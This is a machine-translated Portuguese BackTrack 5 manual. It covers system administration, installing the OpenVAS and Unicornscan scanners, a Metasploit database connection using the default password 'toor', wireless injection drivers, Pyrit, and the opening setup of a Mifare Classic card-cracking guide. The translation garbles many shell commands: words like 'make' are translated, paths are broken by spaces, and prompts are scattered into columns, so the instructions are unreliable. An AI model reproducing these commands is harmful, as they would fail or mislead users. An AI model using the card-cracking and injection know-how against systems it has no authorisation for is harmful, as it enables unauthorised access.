Iniciando os serviços BackTrack tem vários serviços como Apache, SSH, MySQL, VNC, etc Eles são todos desativado por padrão. Para iniciar um serviço como o SSH, você pode usar os scripts de inicialização de serviços. Por exemplo, para iniciar o serviço SSH: root @ bt: ~ # sshd-gerar # Específico para o serviço SSH necessário para gerar as chaves SSH root @ bt: ~ # / etc / init.d / ssh start Iniciando o OpenBSD Servidor Seguro Shell: sshd. etc / init.d / ssh parada root @ bt: ~ # / Servidor Parando OpenBSD Seguro Shell: sshd. root @ bt: ~ #
Ao usar um servidor ssh pela primeira vez no Backtrack você precisará gerar chaves: root @ bt: ~ # sshd-gerar
Para habilitar um serviço em tempo de boot, você pode usar o updaterc.d comando, por exemplo, com SSH começar no momento da inicialização: root @ bt: ~ do # update-rc.d-f ssh defaults Adicionando a inicialização do sistema para o / etc / init.d / ssh ... / Etc/rc0.d/K20ssh -> .. / init.d / ssh / Etc/rc1.d/K20ssh -> .. / init.d / ssh / Etc/rc6.d/K20ssh -> .. / init.d / ssh / Etc/rc2.d/S20ssh -> .. / init.d / ssh / Etc/rc3.d/S20ssh -> .. / init.d / ssh / Etc/rc4.d/S20ssh -> .. / init.d / ssh / Etc/rc5.d/S20ssh -> .. / init.d / ssh
root @ bt: ~ #
Comuns comandos apt apt-get install downloads e todas as suas dependências e instala ou atualiza-los. apt-get remove [- purge] Remove e quaisquer pacotes que dependem dele. - Purge especifica que os pacotes devem ser expurgados. apt-get update pacotes de anúncios Atualizações do repo, deve ser executado pelo menos uma vez por semana. apt-get upgrade Atualiza todos os pacotes instalados com essas atualizações disponíveis a partir do repo. deve ser executado uma vez por semana. apt-get dist-upgrade [-u] Semelhante ao apt-get upgrade, a não ser que a atualização dist-vai instalar ou remover pacotes para satisfazer dependências. apt-cache search Pesquisas pacotes e descrições para . apt-cache espetáculo Mostra a descrição completa da . apt-cache showpkg Mostra muito mais detalhes sobre , e seus relacionamentos com outros pacotes. homem apt Vamos dar-lhe mais informações sobre estes comandos, bem como muitos que estão em uso menos comum.
Comuns comandos dpkg dpkg-i Instala um arquivo de pacote; que você baixou manualmente, por exemplo. dpkg-c Lista o conteúdo de um arquivo. deb. dpkg-i Extractos de informação do pacote de um arquivo. deb. dpkg-r Remove um pacote instalado chamado dpkg-P Expurgos um pacote instalado chamado . A diferença entre remover e limpar é que, enquanto remover dados apenas exclui e executáveis, de expurgo também exclui todos os arquivos de configuração, além disso.
dpkg-L Dá uma listagem de todos os arquivos instalados por . Veja também dpkg-c para verificar o conteúdo de um arquivo deb.. dpkg-s Mostra informações sobre o pacote instalado. Veja também o apt-cache show para visualizar as informações de pacote no repositório Debian, e dpkg-I pacote de visualização de informação extraída de um arquivo deb.. dpkg-reconfigure Reconfigura um pacote instalado dpkg homem vai lhe dar mais informações sobre estes comandos, bem como muitos que estão em uso menos comum.
Como posso encontrar mais informações sobre um comando específico ou uso de programas? A maioria dos comandos terá que se chama uma página do manual (página manual) que pode ser visto digitando: root @ bt: ~ # homem mais informações
Outro recurso muito bom no linux uso do comando pode ser encontrada em linuxcommand.org Alguns programas não têm uma página do manual, mas você pode obter mais informações sobre a sua utilização, digitando: root @ bt: ~ # Apenas o nome do programa, sem quaisquer argumentos.
ou root @ bt: ~ #
ou root @ bt: ~ # - ajuda
ou root @ bt: ~ # -h
Alguns programas usam outros métodos, mas eles geralmente são apenas uma variação de um dos cinco comandos acima.
Kernel Como preparar BT5 fontes do kernel (ferramentas vmare, drivers, etc) Ocasionalmente, você pode querer compilar o código que requer cabeçalhos do kernel (como compat-wireless, ou outros drivers). Estas são instruções rápidas sobre como fazê-lo. root @ bt: ~ # preparar-kernel-fontes root @ bt: ~ # cd / usr / src / linux root @ bt: ~ # cp-rf include / gerado / * include / linux /
NOTA: Você precisa estar conectado à internet para baixar o pacote linux-source.
Ativar PAE em Backtrack5 R2 NOTA: Não altere as outras configurações em seu kernel, a menos que você saiba exatamente o que você está fazendo!
Neste tutorial vamos proceder para ativar PAE em Backtrack5 R2.
Primeiro preparar o nosso kernel e entrar no menuconfig do kernel.
root @ bt: ~ # preparar-kernel-sources root @ bt :/ usr / src / linux # . zcat / proc / config.gz> config root @ bt :/ usr / src / linux # make menuconfig
Depois de ter lançado as ncurses menuconfig passamos para permitir PAE que pode ser encontrado no seguinte: Processor type and features -> suporte para muita memória (4) -> 64GB
Uma vez que permitiram PAE do menuconfig que avançar para construir o nosso kernel.
root root root root
@ @ @ @
bt bt bt bt
:/ :/ :/ :/
usr usr usr usr
/ / / /
src src src src
/ / / /
linux linux linux linux
# # # #
fazer scripts de fazer preparar fazer atualização -initramfs-u
root @ bt: ~ # update-grub2
Nós que reiniciar e verificar para ver se o PAE estiver habilitado.
root @ bt: ~ # cat / boot/config-3.2.4 | grep HIGHMEM
Habilitar b43 drivers em Backtrack5 r2 NOTA: Alterar as opções adicionais nas ncurses configuração sem saber quais as opções que pode quebrar seu kernel!
Ativando b43 drivers em BT5 R2 será necessário recompilar seu kernel.
root root root root
@ @ @ @
bt: ~ bt: ~ bt :/ bt :/
# apt-get dist-upgrade # preparar-kernel-fontes usr / src / linux # . zcat / proc / config.gz> config usr / src / linux # make menuconfig
Configure o seu kernel para usar B43 em vez de os drivers brcmsmac padrão selecionando a opção de suporte BCMA. Para chegar a esta opção, vá para:
Drivers de dispositivos -> Broadcom específico AMBA.
Adicione o apoio BCMA como um módulo, e "Suporte para BCMA em PCI-host bus" como mostrado abaixo
Saia da configuração do menu de ncurses, e construir o seu pacote de kernel:
root root root root root root
@ @ @ @ @ @
bt bt bt bt bt bt
:/ :/ :/ :/ :/ :/
usr usr usr usr usr usr
/ / / / / /
src src src src src src
/ / / / / /
linux linux linux linux linux linux
# # # # # #
fazer preparar fazer make modules_install fazer instalar update-initramfs-u update-grub2
Personalização Instalar Java Este artigo foi contribuído por g0tmi1k.
Twitter: ! https://twitter.com/ # / g0tmi1k
NOTA: Antes de instalar o Java certifique-se de matar Firefox. root @ bt: ~ # killall -9 / opt / firefox / firefox-bin
Baixando Java.
Podemos baixar java usando wget . root @ bt: ~ # wget http://javadl.sun.com/webapps/download/AutoDL?BundleId=52240 -O / tmp / java.bin
Criando os diretórios e executar o auto-extração.
root @ bt: ~ # mkdir-p / opt / java && cd / opt / java root @ bt: ~ # chmod + x / tmp / && java.bin / tmp / java.bin
Alterações finais.
root @ bt: ~ # .?? update-alternatives - install / usr / bin / java java / opt/java/jre1.6 _ / bin / java 1 root @ bt: ~ # update-alternatives - set java / opt/java/jre1.6.? _? / bin / java
Adicionando o plugin para o Firefox.
root @ bt: ~ # mkdir-p / usr / lib / mozilla / plugins / root @ bt: ~ # .?? ln-sf / opt/java/jre1.6 _ / lib/i386/libnpjp2.so / usr / lib / mozilla / plugins / root @ bt: ~ # ".?? / opt/java/jre1.6 _ / bin / java" export JAVA_HOME =
Testando o plugin.
root @ bt: ~ # firefox
http://java.com/en/download/testjava.jsp
Instalando FluxBox em BackTrack5 Agora, se você não sabia disso já, além do Gnome e KDE BackTrack5 também vem com um gerenciador de janelas mais leve chamado FluxBox, para mais informações você pode visitar sua página oficial . Obtendo FluxBox em BackTrack5 é bonita, até o menu BackTrack será automaticamente gerado, então vamos logo com isso!
Primeiro nós precisamos instalar o pacote de fluxo-de-costas, que vai pegar tudo o que precisamos a fim de obter FluxBox execução.
root @ bt: ~ # apt-get install fluxo-para-trás
Depois que o script está instalado, vamos ver que ele automaticamente começa a configurar o Fluxbox.
Uma vez que o script é terminado, você será presenteado com uma mensagem que lhe diz para iniciar a sua FluxBox.
No entanto, antes de reiniciar há uma coisa que temos que fazer, teremos de fazer dizer BackTrack para executar FluxBox no startx comando e não é padrão WM.
root @ bt: ~ # echo exec / usr / bin / startfluxbox> ~ / xinitrc. root @ bt: ~ # shutdown-r 0
Reinicie o BackTrack e FluxBox divirta-se!
NOTA : A fim de reverter para o padrão WM tudo que você tem a fazer é excluir o arquivo. xinitrc. root @ bt: ~ # . rm-rf ~ / xinitrc root @ bt: ~ # shutdown-r 0
Instale o Flash Player
Como você deve ter notado o Flash Player não funciona no Backtrack 5, por isso, para corrigir isso, primeiro precisa remover o flash player atual emitindo os seguintes comandos:
root @ bt: ~ # apt-get purge flashplugin-nonfree flashplugin-installer gnash gnash-common mozilla-plugin-gnash mozilla-swfdec root @ bt: ~ # rm-f / usr / lib / firefox / plugins / * flash * raiz @ bt: ~ # rm-f / usr / lib / firefox-addons / plugins / * flash * root @ bt: ~ # rm-f / usr / lib / mozilla / plugins / * flash * root @ bt: ~ # rm -f ~ / .mozilla / plugins / * flash * modo root @ bt: ~ # nspluginwrapper rm-RFD / usr / lib /
Após a remoção do flash que precisa para tirar o flash player novo a partir do site oficial: 1. Flash x64 APENAS PARA x64 . 2. Flash Player Faça o download do arquivo. tar.gz .
Começaremos com o Flash Square, PULE ESTA se você não estiver usando uma versão x64 do BackTrack.
root @ bt: ~ # tar xvfz flashplayer10_2_p3_64bit_linux_111710.tar.gz root @ bt: ~ # chown root: root libflashplayer.so root @ bt: ~ # chmod 644 libflashplayer.so root @ bt: ~ # cp-f libflashplayer.so / usr / lib / mozilla / plugins / root @ bt: ~ # rm-rf libflashplayer.so root @ bt: ~ # ln-s / usr / lib / mozilla / plugins / libflashplayer.so / usr / lib / firefox / plugins /
Em seguida acima de nós cuidaremos do Flash Player:
root @ bt: ~ # tar xvfz install_flash_player_10_linux.tar.gz root @ bt: ~ # mkdir ~ / .mozilla / plugins root @ @ bt: bt: ~~ ## ln-s mv-f root libflashplayer.so / root @ bt: ~ # ln-s libflashplayer.so /
~ / /.mozilla / plugins / /libflashplayer.so usr / lib / mozilla plugins / usr / lib / firefox-addons / plugins / / usr / lib / mozilla / plugins / usr / lib / xulrunner-addons / plugins /
Podemos testar se o flash player funciona por aqui .
AVISO: Certifique-se CONFIGURAR NOSCRIPT corretamente ou seus videos flash NÃO VAI TRABALHAR!
Instale OpenCL no Backtrack Este artigo foi contribuído por g0tmi1k.
Twitter: ! https://twitter.com/ # / g0tmi1k
Neste guia iremos instalar e configurar o OpenCL no Backtrack.
NOTA: Você pode precisar fazer alguns pequenos ajustes, dependendo do seu sistema. Vamos começar:
Primeiro de tudo, antes de começar, queremos ter certeza de que nosso sistema está atualizado.
root @ bt: ~ # apt-get update && apt-get atualização
Antes de prosseguirmos com a instalação dos drivers da ATI que precisamos para começar nossa fonte do kernel preparado.
root @ bt: ~ # preparar-kernel-fontes root @ bt: ~ # cd / usr / src / linux root @ bt: ~ # cp-rf include / gerado / * include / linux /
Agora que estamos a criar é hora de baixar os drivers da ATI.
+ X
Antes de terminar, há mais uma coisa que nós precisamos instalar, A AMD acelerado Parallel Processing (APP) SDK, este precisa ser instalado de acordo com sua arquitetura de CPU.
Para arquitetura de 32 bits: root @ bt: ~ # wget http://developer.amd.com/Downloads/AMD-APP-SDKv2.5-lnx32.tgz root @ bt: ~ # tar-xvzf AMD-APP-SDK-v2.5 -lnx32.tgz root @ bt: ~ # / Install-AMD-APP.sh.
Para arquitetura de 64 bits: root @ bt: ~ # wget http://developer.amd.com/Downloads/AMD-APP-SDKv2.5-lnx64.tgz root @ bt: ~ # tar-xvzf AMD-APP-SDK-v2.5 -lnx64.tgz root @ bt: ~ # / Install-AMD-APP.sh.
Nós também precisamos cmake e cmake + +, juntamente com alguns outros arquivos de biblioteca.
Primeiro vamos instalar as bibliotecas e cmake: root @ bt: libssl-dev ~ # apt-getcmake install libroot-python-dev libboost-python-dev zlib1g-dev libboost1.40-all-dev
Antes de instalar cmake + + precisamos definir os caminhos ATI Stream: root @ bt: ~ # echo "ATISTREAMSDKROOT = / opt / AMDAPP root @ bt: ~ # exportação ATISTREAMSDKROOT ">> ~ / bashrc. root @ bt: ~ # . source ~ / bashrc
Agora podemos proceder com a instalação: root @ bt: ~ # svn co https://calpp.svn.sourceforge.net/svnroot/calpp calpp root @ bt: ~ # cd calpp / trunk root @ bt: ~ # cmake.
root @ bt: ~ # fazer root @ bt: ~ # make install
Além disso agora podemos instalar Pyrit com a opção OpenCL.
root @ bt: ~ tmp / pyrit root @ bt: ~ construir && root @ bt: ~ construir &&
# svn checkout http://pyrit.googlecode.com/svn/trunk/ / do # cd / tmp pyrit / / pyrit && python setup.py python setup.py instalar # cd / tmp / pyrit / && cpyrit_opencl python setup.py python setup.py install
Agora podemos testar Pyrit.
root @ bt: ~ # pyrit list_cores root @ bt: ~ # referência pyrit
Coleta de Informações Configurando Autoscan no Backtrack 5 O que é Autoscan? Em Autoscan curta é uma rede de descobrir e gerenciar aplicativos. É objectivo principal de identificar rapidamente as máquinas conectadas / equipamentos em um ambiente de rede.
Vamos configurar rapidamente autoscan em Backtrack5, você pode encontrá-lo usando o menu em:
BackTrack -> Coleta de Informações -> Análise de Rede -> Rede Scanners -> autoscan
Assim que lançá-lo no menu, vamos começar a nossa assistente de configuração, clique em Avançar para seguir em frente:
Agora vamos configurar uma nova rede e adicionar os nossos próprios dados, clicando no Add botão:
Selecione sua interface de rede (wlan0, neste caso):
Depois que nos é pedido para confirmar nossas definições:
Aqui está alguma saída semelhante ao que você verá em alguns dispositivos:
Unicornscan Unicornscan é um "remetente payload" awesome que também pode atuar como um scanner assíncrona. Graças a dash1b e seu roteiro de patch-up incrível, fomos capazes de implementar rapidamente todos os recursos do scanner no BackTrack 5. Para instalar unicornscan no BackTrack 5 (se já não estiver instalado), digite: root @ bt: ~ # apt-get update root @ bt: ~ # apt-get install unicornscan
Em seguida, executar o script postgres-instalação, que foi tomado em sua maioria de http://code.google.com/p/unicornscan-bt5-install-script/. Este script irá configurar o servidor PostgreSQL Framework3 como o DB back-end para Unicornscan.
Iniciar apache e procure http://127.0.0.1/unicornscan . Iniciar uma digitalização utilizando o epgsqldb- opção.
Identificação de Vulnerabilidade Instalando OpenVAS A maneira mais simples de instalar todas as partes necessárias do conjunto OpenVas é emitir os seguintes comandos em uma janela de terminal. root @ bt: ~ # apt-get update root @ bt: ~ do # apt-get install OpenVas
Os OpenVas pacote é um "mestre" pacote que contém todas as informações necessárias para baixar automaticamente todos os outros pacotes que compõem o conjunto completo de ferramentas OpenVas.
Localização das entradas do menu OpenVas Uma vez OpenVas foi instalado, você vai encontrar tudo o das entradas do menu neste local.
OpenVas verifique a configuração do OpenVas check-setup-é uma ferramenta muito útil, aqui está mostrando como ela pode ajudar a diagnosticar problemas e dar conselhos sobre como corrigi-los.
Configurando OpenVAS Passo 1. Adicionando um usuário No menu, selecione OpenVas Adduser e siga as instruções.
Note que você pode usar qualquer nome que quiser, mas neste caso eu usei apenas root. Eu tê-lo deixado no padrão de autenticação por senha, como eu vou estar usando isso em uma máquina local e para salvar ter que se preocupar com os usuários com certs para se preocupar, mas isso é inteiramente até você. Você não pode ter uma senha em branco, então eu usei toor neste caso. Para as regras aplicadas a esse usuário que eu tê-los deixado em branco pressionando a tecla ctrl-d Isto significa que este usuário será capaz de executar qualquer tarefa, sem quaisquer restrições.
Passo 2. Fazendo o Certificado No menu, selecione OpenVas mkcert e siga as instruções. Aqui nós criamos o certificado SSL Isto é usado se você decidiu usar cert em vez de passar quando você criou o usuário, mas você é obrigado a criá-lo de qualquer maneira, mesmo se você decidir não usar certs.
Etapa 3. Sincronizar o da NVT Neste ponto, precisamos obter o mais recente conjunto de nvt da. Estes são o que o scanner usa para detectar as vulnerabilidades no que você está digitalizando. Por favor, note que você precisará fazer isso com bastante regularidade, ea primeira vez que você fizer isso pode demorar um pouco dependendo da velocidade do seu computador e internet. Então, selecione OpenVAS NVT sincronização a partir do menu
Etapa 4. A partir do scanner Iniciar do scanner OpenVas Agora estamos prontos para iniciar o scanner Isso vai demorar um pouco a primeira vez que você iniciá-lo como ele verifica e carrega o novo NVT do que você baixou na etapa anterior.
Observe o tempo no canto! Isso foi em uma VM por isso deve ser muito mais rápido para você. Partidas subseqüentes serão rápidos a menos que você não tenha atualizado em algum tempo Lembre-se que o scanner é executado como um daemon em segundo plano e vai continuar funcionando até que você reiniciar ou parar com a entrada de menu fornecida.
Etapa 5. Configuração OpenVAS gerente Configurando OpenVas gerente Primeira coisa que precisamos fazer é fazer um certificado de cliente para o gerente OpenVas, Isto é feito executando o seguinte comando OpenVas-mkcert-client-n-i om
Agora precisamos reconstruir o banco de dados como ele está agora fora de data com o acrescentado nvt e nós, de outra forma obter erros sobre o banco de dados. Você deve fazer isso cada vez que você atualizar o da NVT. Isto é feito com um simples comando openvasmd - reconstruir
Este processo levará apenas alguns segundos se utilizando OpenVas-bibliotecas versão 4.0.3 ou abaixo.
Este processo pode demorar muito mais tempo se estiver usando OpenVasbibliotecas versão 4.0.5 ou superior. A compensação para esse tempo extra é capacidades de digitalização muito maiores, por isso vale a pena.
Passo 6. Configuração OpenVAS Administrador Configurando OpenVas Administrador Nós precisamos criar um usuário administrativo que iremos utilizar para realizar todas avaliações do nossa vulnerabilidade. Isto é feito executando o seguinte comando openvasad-c 'add_user'-n-r openvasadmin Administrador
openvasadmin é o nome que escolhi para tornar-se este usuário, você pode substituir no entanto que com algo mais adequado para você, se você assim preferir. Certifique-se que você pode se lembrar este nome de usuário e senha associada à medida que você vai precisar dele quando estiver executando OpenVas. root @ bt: ~ # openvasad-c 'add_user'-n-r openvasadmin Administrador Digite a senha: ad principal: MENSAGEM :5871:2011-05-26 04h57.08 BST: Não há regras arquivo fornecido, o novo usuário não terá restrições. ad principal: MENSAGEM :5871:2011-05-26 04h57.08 BST: openvasadmin usuário foi criado com sucesso. root @ bt: ~ #
Iniciando o Gerenciador OpenVAS Agora, precisamos iniciar o Gerenciador de OpenVas Este é executado como um daemon em segundo plano. Como eu estou correndo tudo da minha máquina local eu estarei usando localhost para escutar e, neste caso a porta padrão. Isto é feito executando o seguinte comando. openvasmd-p 9390-um 127.0.0.1
Começando Administrador OpenVAS Agora, precisamos iniciar o administrador de OpenVas Isto também é executado como um daemon em segundo plano. Como eu estou correndo tudo da minha máquina local eu estarei usando localhost para escutar e, neste caso a porta padrão. Isto é feito executando o seguinte comando.
openvasad-9393 um 127.0.0.1-p
Começando Greenbone Assistente de Segurança Agora precisamos começar Greenbone Assistente de segurança Este novo é executado como um daemon em segundo plano. Como eu estou correndo tudo da minha máquina local eu estarei usando localhost para escutar e, neste caso a porta padrão. Isto é feito executando o seguinte comando. FSG - http-only - ouvir = 127.0.0.1-p 9392
Mais informações sobre os comandos acima e outras opções podem ser encontradas, executando a sua entrada no menu associado e, olhando para as páginas do manual. Como todos os três destes executado como um daemon e vai continuar a correr até você desligar o computador, eu tenho desde entradas de menu para você assim como você pode detê-los quando você não precisar mais deles.
Neste ponto, sua instalação é essencialmente completa, mas como já chegou até aqui, podemos assim continuar a certeza de que tudo está funcionando como esperado.
Interfaces de usuário OpenVas Greenbone de segurança de desktop Agora, precisamos iniciar um aplicativo para que você possa se comunicar com o scanner e outros daemons. A primeira dessas escolhas é greenbone de segurança de desktop Iniciar esta no item de menu e preencha as credenciais e detalhes que criamos anteriormente, clique no botão de login.
Uma vez logado, você pode usar isto como sua interface de digitalização, ou utilize a opção próxima de você preferir.
Interface Web
Este método seguinte é através de uma interface web Abra seu navegador favorito e digite o seguinte endereço 127.0.0.1:9392 Em seguida, será apresentada uma página de login. logar com as credenciais que criamos anteriormente. Depois de ter logado, você vai notar que o uso da CPU vai bater no teto, não se preocupe, isso vai voltar ao normal em pouco tempo.
Aqui você pode realizar e configurar todas as suas tarefas de digitalização. É uma boa idéia para definir NoScript para permitir temporariamente que 127.0.0.1 ou você pode obter resultados inesperados. Há muito mais para OpenVAS do que eu ter incluído aqui, mas esta destina-se apenas para que você comece a trabalhar rapidamente. Varreduras e configurações mais avançadas estão fora do escopo deste tutorial simples. Não se esqueça de algumas das outras partes para OpenVas contidos dentro do menu que eu não tenha abordado aqui e também as páginas do manual.
Depois de ter concluído o processo de instalação OpenVAS partida com greenbone segurança de desktop como o interface de digitalização A partir do menu, selecione OpenVas NVT sync Iniciar do scanner OpenVas em seguida, uma janela de terminal openvasmd - reconstruir
openvasmd-p 9390-um 127.0.0.1 openvasad-9393 um 127.0.0.1-p FSG - http-only - ouvir = 127.0.0.1-p 9392
Em seguida, no menu Iniciar Greenbone Segurança Área de Trabalho e login Agora você está pronto para configurar as tarefas de digitalização.
OpenVAS partida com um navegador web como interface de digitalização A partir do menu, selecione OpenVas NVT sync Iniciar do scanner OpenVas em seguida, uma janela de terminal openvasmd - reconstruir openvasmd-p 9390-um 127.0.0.1 openvasad-9393 um 127.0.0.1-p FSG - http-only - ouvir = 127.0.0.1-p 9392
Em seguida, abra seu navegador para o endereço http://127.0.0.1:9392
Login. Agora você está pronto para configurar as tarefas de digitalização.
Exploração Metasploit Framework MySQL Metasploit Framework com suporte ao MySQL Com uma correção de bug recente, nós simplificamos os passos necessários para usar o MySQL como um back-end para o Metasploit Framework. root root root root
@ @ @ @
bt: bt: bt: bt:
~ ~ ~ ~
# # # #
apt-get update apt-get dist-upgrade serviço mysql start msfconsole
Um comando db_driver deve mostrar a disponibilidade da opção MySQL: msf> db_driver [*] Driver atividade: postgresql [*] Disponível: PostgreSQL, MySQL
msf> Vá em frente e se conectar ao banco de dados usando o padrão MySQL raiz senha toor : msf> db_driver mysql [*] Usando o banco de dados mysql motorista msf> raiz db_connect: [email protected] / msf3 msf>
Analise de rede de Radio Drivers wireless Com a arena em constante mutação do mundo driver wireless ea pilha mac80211, queríamos dedicar uma página que resolver algumas complicadas configurações do driver wireless. Antes de iniciar sua jornada no BackTrack sem fio mundo, primeiro você deve identificar o seu chipset da tentar placa ligar wireless com certeza de de 100%. Em caso de dúvida, você pode sempre o cartão em um caixa Linux, e ver o que dmesg tem a dizer.
BackTrack 5 r2 BackTrack R2 5 contém remendado kernel do 3.2.6 drivers wireless com manchas de injeção de vários aplicadas.
b43 BackTrack R2 5 mudou de b43 drivers para controladores de brcmsmac. Se você precisa habilitar os b43 drivers, siga este howto -http://www.backtracklinux.org/wiki/index.php?title=Enable_b43_drivers_in_Backtrack5_r2 .
BackTrack 5 r1 BackTrack 5 R1 contém patches do kernel 2.6.39.4 ações drivers wireless com manchas de injeção de vários aplicadas. Dependendo da placa e configuração, esses drivers não poderia servi-lo.
rt2800usb Em alguns casos temos visto cartões usando os drivers rt2800usb (como o AWUS036NH e ALFAS AWUS036NEH) agir estranho com o kernel BT5R1. Se isso acontecer com você, você pode tentar instalar uma recente compat-wireless e construí-lo em seu próprio país. Esta versão específica vai funcionar: root @ bt: ~ # ln-s / usr / src / linux jxpf xpf 2.6.39.patches.tar root @ bt: ~ # cd compat-wireless-2011-07-14 root @ bt: ~ # patch-p1 <.. / patches/mac80211-2.6.29-fix-tx-ctl -noack-retry-count.patch root @ bt: ~ # patch-p1 <.. / patches/mac80211.compat08082009.wl_frag + ack_v1.patch root @ bt: ~ # patch-p1 <.. / patches/zd1211rw -2.6.28.patch root @ bt: ~ # patch-p1 <.. / patches/ipw2200-inject.2.6.36.patch
root @ bt: ~ # fazer root @ bt: ~ # make install root @ bt: ~ # reiniciar
BackTrack 5 BackTrack 5 contém patch do kernel 2.6.38 ações drivers wireless, bem como vários "externo" drivers. Alguns destes controladores se sobrepõem, para proporcionar a máxima flexibilidade com vários ataques sem fio. O etc / modprobe.d / / blacklist ditames quais drivers preferenciais são carregados durante a inicialização. De um modo geral, todos os motoristas mais velhos IEEE estão na lista negra e precisam ser carregados manualmente se você quiser usá-los.
Drivers wireless rtl8187 vs r8187 Esta é uma confusão. O rtl8187 é o controlador pilha mac80211, enquanto que a r8187 é o controlador IEEE de idade. Ambos injecção de suporte.Os mais recentes mac80211 RTL8187 motoristas parecem ter um bug desagradável em VMWare. Para mais informações sobre esses drivers verifique nosso rtl8187 vs r8187 página.
compat sem fio Como Linux drivers wireless maduro, chipsets mais são adicionados à lista de compatibilidade. Se nenhum dos drivers do kernel nativos inversas trabalhar para você, você pode querer usar uma versão mais recente do compat-wireless. Confira o compat-wireless página para obter informações sobre como obter esses drivers instalado e funcionando.
Cartões sem fio Esta lista deve ser atualizada para BT5.
Cartões testados e funcionando Nós fomos capazes de testar os seguintes cartões. Note que "passou" significa "passou um aireplay -9" teste de injeção. Estamos expandindo dessa lista como cúpulas mais feedback formam a comunidade. De nossos testes constatamos que a maioria dos principais chipsets foram apoiados, bem como os cartões mais comuns.
AWUS036H (rtl8187, r8187) - ambos os motoristas mac80211 e IEEE - passou
AWUS036NH (Ralink RT2870/3070) - usando os drivers de mac80211 rt2x00usb - passou BCM4312 802.11b / g LP-PHY (rev 01) - usando o mac80211 b43, funciona bem - passou Rockland N3 - (Ralink RT2870/3070) - usando os drivers de mac80211 rt2x00usb - passou Edimax EW-7318USg USB - (Ralink RT2501/RT2573) - usando os drivers de mac80211 rt2500usb/rt73usb - passou ASUSTek Computer, Inc. RT2573 - usando os drivers de mac80211 rt2500usb/rt73usb - passou Linksys WUSB54GC ver 3 - usando os drivers de mac80211 rt2800usb passou Ubiquiti SRC - usando o ath9k mac80211 drivers- passado Interna Intel Corporation PRO / Wireless 3945ABG - usando o iwl3945 mac80211 drivers- passado Dlink WNA-2330 PCMCIA - usando o ath5k mac80211 drivers- passado Atheros Communications Inc. AR9285 Wireless Network Adapter (PCI-Express) (rev 01) - usando o ath9k mac80211 drivers- passado Netgear wg111v2 - usando o rtl8187 mac80211 drivers- passado ZyXEL AG-225H v2 - usando as mac80211 zd1211 drivers - passou Intel 4956/5xxx - usando os drivers iwlagn - passou
De Trabalho, sem injeção
Broadcom Corporation BCM4321 802.11a/b/g/n (rev 03) Broadcom Corporation BCM4322 802.11a/b/g/n Wireless LAN Controller (rev 01)
NÃO cartões de trabalho
D-Link DWL-122 - com os motoristas mac80211 prism2_usb - falhar Linksys WUSB600N v2 - usando os drivers de mac80211 rt2800usb - falhar AWUS051NH - falhar
Cozinhar com RFID Mifare Classic. Este artigo foi contribuído por MI1.
URL: http://hack4fun.eu Twitter: ! http://twitter.com/ # / mi1c00k
E-mail: [email protected]
Cozinhar com RFID Mifare Classic
AVISO LEGAL: As informações e implementação de referência é fornecido:
Para fins informativos apenas como parte de estudo acadêmico ou de pesquisa, especialmente no campo da segurança informativa, criptografia e sistemas de segurança Como é, sem qualquer garantia, suporte ou passivo - quaisquer danos ou conseqüências obtidos como resultado de consultar esta informação se puramente no lado do leitor NÃO deve ser usado em circunstâncias ilegais (por exemplo, para corte, abuso ou truque de um sistema que o leitor não tem autorizações específicas para tais como sistemas de bilhética, transportes públicos, universitários / ISIC cartões, a construção de sistemas de acesso ou de qualquer natureza que utilizam sistemas de Mifare Classic como tecnologia de núcleo)
NOTAS:
Este artigo contém nenhuma pesquisa srcinal. Toda a pesquisa e implementação foi feita por outras pessoas e comunidades e está disponível
publicamente. Fizemos estes dois centavos apenas para se divertir e porque amamos BackTrack. Este não é AZ guia para tentar mais!
0x00 - Prefácio Alguns de vocês podem ter lido que o algoritmo de criptografia de chave simétrica proprietário do cartão MIFARE Clássico foi quebrado. O cartão Mifare Classic é usado em sistemas de controle de acesso físico (PACS) e entre em contato com sistemas menos pagamentos (incluindo tollway e sistemas de transporte público). Por algumas estimativas, existem 500 milhões de cartões MIFARE implantados em todo o mundo, ea maioria deles são cartões MIFARE Classic.
Mifare Classic é um barato, chip de nível de entrada, com base na ISO / IEC 14443 Tipo A, ou 1KB 4KB. Usa 13,56 Mhz padrão cartão inteligente sem contato, CRYPTO1 proprietário com 48 teclas de bits. Não há proteção contra a clonagem ou modificações. Qualquer pessoa com 50 € leitor pode usar e sta fraqueza contra sua infra-estrutura. Pelo menos um setor é sempre criptografado com chave padrão. Após quebrar todas as chaves, os hackers são capazes de alterar o nome, número de estudantes universitários, data de validade ... Este livro é prova de conceito como fácil que pode ser feito. Ingredientes escolhidos: Backtrack | touchatag pacote inicial Testado em: BackTrack 4 R2, BackTrack 5 final (32 bits)
Dependências root @ bt: ~ # apt-get install Flex libpcsclite-dev libusb-dev checkinstall
0x01 - Hardware Touchatag - ACR122U Touchatag é ACR122 ACS (U) NFC Leitor USB leitor RFID. O leitor USB funciona em 13,56 MHz (High Frequency RFID) e tem uma distância de leitura de cerca de
4 centímetros (1 polegada), quando utilizado com as marcas touchatag RFID. Este produto é feito por Advanced Systems Limited cartão e parece estar disponível em layouts diferentes, mas hardware não difere muito. Eles estão todos usando um PN532 Chip controlador NFC e uma unidade ST7 microcontrolador.
0x02 - Software Motorista ACR122U -D acr122u root @ bt: root @ bt: root @ bt: root @ bt: root @ bt: root @ bt:
ACR122U_driver_Lnx_Mac10.5_10.6_1.02_P.zip ~ # cd acr122u ~ # tar-jxvf acsccid-1.0.2.tar.bz2 ~ # cd acsccid-1.0.2 ~ # . / configure ~ # fazer ~ # checkinstall-D-y - instalar
Open Source Near Field Communication (NFC) Library / LIBNFC / Libnfc é o primeiro livre NFC SDK e programadores API liberado sob a Licença Pública GNU Lesser General. root @ bt: ~ # apt-get install-y && debhelper wget libtool http://libnfc.googlecode.com/files/libnfc-1.4.2.tar.gz
root @ bt: ~ # tar xfvz libnfc-1.4.2 tar.gz && cd libnfc-1.4.2. root @ bt: ~ # svn checkout http://libnfc.googlecode.com/svn/tags/libnfc-1.4.2/debian root @ bt: ~ # dpkg-buildpackage-rfakeroot root @ bt: ~ # . dpkg-i .. / libnfc * deb
Verifique se o seu leitor / alvo com nfc lista. root @ bt: ~ # nfc lista nfc lista de uso libnfc 1.4.2 (r891) Conectado a um dispositivo NFC: ACS ACR122U 00 00 / ACR122U103 - PN532 v1.6 (0x07) 1 ISO14443A alvo passivo (s) foi encontrada: ATQA (SENS_RES): 00 02 UID (NFCID1): xx xx xx xx SAK (SEL_RES): 18
